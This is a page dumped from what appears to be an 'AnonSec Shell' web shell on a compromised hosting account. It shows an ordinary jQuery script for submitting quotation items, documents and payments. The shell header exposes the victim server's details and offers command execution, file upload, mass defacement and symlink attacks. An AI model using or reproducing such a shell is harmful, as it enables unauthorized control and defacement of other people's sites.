AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/Quotation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/Quotation/script.js
$("#item-form").validate({
  ignore: "",
  rules: {
    Description: {
      required:true
    },
    Quantity: {
      required: true
    },
    UnitPrice: {
      required: true
    }
  },
  submitHandler: function (form) {
    var formToken = $('#__AjaxAntiForgeryForm');
    var token = $('input[name="__RequestVerificationToken"]', formToken).val();
    var params = {
      __RequestVerificationToken: token
    };
    params = Object.assign({}, params, $(form).serializeFormJSON());
    //console.log(params);

    $("#item-submit").prop("disabled", true);
    //alert(params);
    if (!isItemEdit) {
      params.QuotationId = quotationId;
      $.ajax({
        url: urlCreateItem,
        data: params,
        type: 'POST',
        success: function (resp) {
          console.log(resp);
          $("#itemModal").modal("hide");
          loadItems();
          $("#item-submit").prop("disabled", false);
          location.reload();
        },
        error: function (jqXHR, textStatus, errorThrown) {
          if (jqXHR.status == 400) {
            alert(jqXHR.responseJSON.Message);
          }
          $("#item-submit").prop("disabled", false);
        }
      })
    } else {
      params.Id = itemEditId;
      $.ajax({
        url: urlUpdateItem,
        data: params,
        type: 'POST',
        success: function (resp) {
          console.log(resp);

          $("#itemModal").modal("hide");
          loadItems();
          $("#item-submit").prop("disabled", false);
          isItemEdit = false;
          itemEditId = 0;
          location.reload();
        },
        error: function (jqXHR, textStatus, errorThrown) {
          if (jqXHR.status == 400) {
            alert(jqXHR.responseJSON.Message);
          }
          $("#item-submit").prop("disabled", false);
        }
      })
    }
    return false;
  }
});

$("#document-form").validate({
    ignore: "",
    rules: {
        DocType: {
            required: true
        },
        File: {
            required: function () {
                return !isDocumentEdit && ($("#ddl_doc_status").val() != "3");
            }
        },
        Status: {
            required: true
        },
        ApproveFile: {
            required: function () {
                return $("#ddl_doc_status").val() == '3' && $("#doc_approve_link > a").attr("href") == "";
            },
            extension:"pdf"
        }
    },
    messages: {
        ApproveFile: {
            extension: "Please choose pdf file"
        }
    },
    submitHandler: function (form) {
        var formToken = $('#__AjaxAntiForgeryForm');
        var token = $('input[name="__RequestVerificationToken"]', formToken).val();
        var params = {
            __RequestVerificationToken: token
        };
        params = Object.assign({}, params, $(form).serializeFormJSON());
        var formData = new FormData();
        if (document.getElementById("doc_file").files.length > 0) {
            formData.append('File', $('#doc_file')[0].files[0]);
        }
        if ($("#ddl_doc_status").val() == '3' && document.getElementById("doc_approve_file").files.length > 0) {
            formData.append('ApproveFile', $('#doc_approve_file')[0].files[0]);
        }
        for (var key in params) {
            formData.append(key, params[key]);
        }
        $("#doc-submit").prop("disabled", true);
        console.log(formData);
        console.log(isDocumentEdit);
        if (!isDocumentEdit) {
            formData.append("QuotationId", quotationId);
            $.ajax({
                url: urlCreateDocument ,
                type: 'POST',
                data: formData,
                processData: false,  // tell jQuery not to process the data
                contentType: false,  // tell jQuery not to set contentType
                success: function (data) {
                    loadDocuments();
                    $("#doc-submit").prop("disabled", false);
                    $("#documentModal").modal("hide");
                    location.reload();
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    if (jqXHR.status == 400) {
                        alert(jqXHR.responseJSON.Message);
                    }
                    $("#doc-submit").prop("disabled", false);
                }
            });
        } else {
            formData.append("QuotationId", quotationId);
            formData.append("Id",documentEditId);
            $.ajax({
                url: urlUpdateDocument,
                type: 'POST',
                data: formData,
                processData: false,  // tell jQuery not to process the data
                contentType: false,  // tell jQuery not to set contentType
                success: function (data) {
                    loadDocuments();
                    $("#doc-submit").prop("disabled", false);
                    $("#documentModal").modal("hide");
                    isDocumentEdit = false;
                    documentEditId = 0;
                    location.reload();

                },
                error: function (jqXHR, textStatus, errorThrown) {
                    if (jqXHR.status == 400) {
                        alert(jqXHR.responseJSON.Message);
                    }
                    $("#doc-submit").prop("disabled", false);
                }
            });
        }
        return false;
    }
});

$("#payment-form").validate({
    ignore: "",
    rules: {
        Phase: {
            required: true
        },
        Detail: {
            required: true
        },
        Amount: {
            required: true
        },
        Status: {
            required: true
        }
    },
    submitHandler: function (form) {
        var formToken = $('#__AjaxAntiForgeryForm');
        var token = $('input[name="__RequestVerificationToken"]', formToken).val();
        var params = {
            __RequestVerificationToken: token
        };
        params = Object.assign({}, params, $(form).serializeFormJSON());
        $("#payment-submit").prop("disabled", true);
        if (!isPaymentEdit) {
            params.QuotationId = quotationId;
            $.ajax({
                url: urlCreatePayment,
                data: params,
                type: 'POST',
                success: function (resp) {
                    $("#paymentModal").modal("hide");
                    loadPayments();
                    $("#payment-submit").prop("disabled", false);
                    location.reload();
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    if (jqXHR.status == 400) {
                        alert(jqXHR.responseJSON.Message);
                    }
                    $("#payment-submit").prop("disabled", false);
                }
            })
        } else {
            params.Id = paymentEditId;
            $.ajax({
                url: urlUpdatePayment,
                data: params,
                type: 'POST',
                success: function (resp) {
                    $("#paymentModal").modal("hide");
                    loadPayments();
                    $("#payment-submit").prop("disabled", false);
                    isPaymentEdit = false;
                    paymentEditId = 0;
                    location.reload();
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    if (jqXHR.status == 400) {
                        alert(jqXHR.responseJSON.Message);
                    }
                    $("#payment-submit").prop("disabled", false);
                }
            })
        }
        return false;
    }
});

Anon7 - 2022
AnonSec Team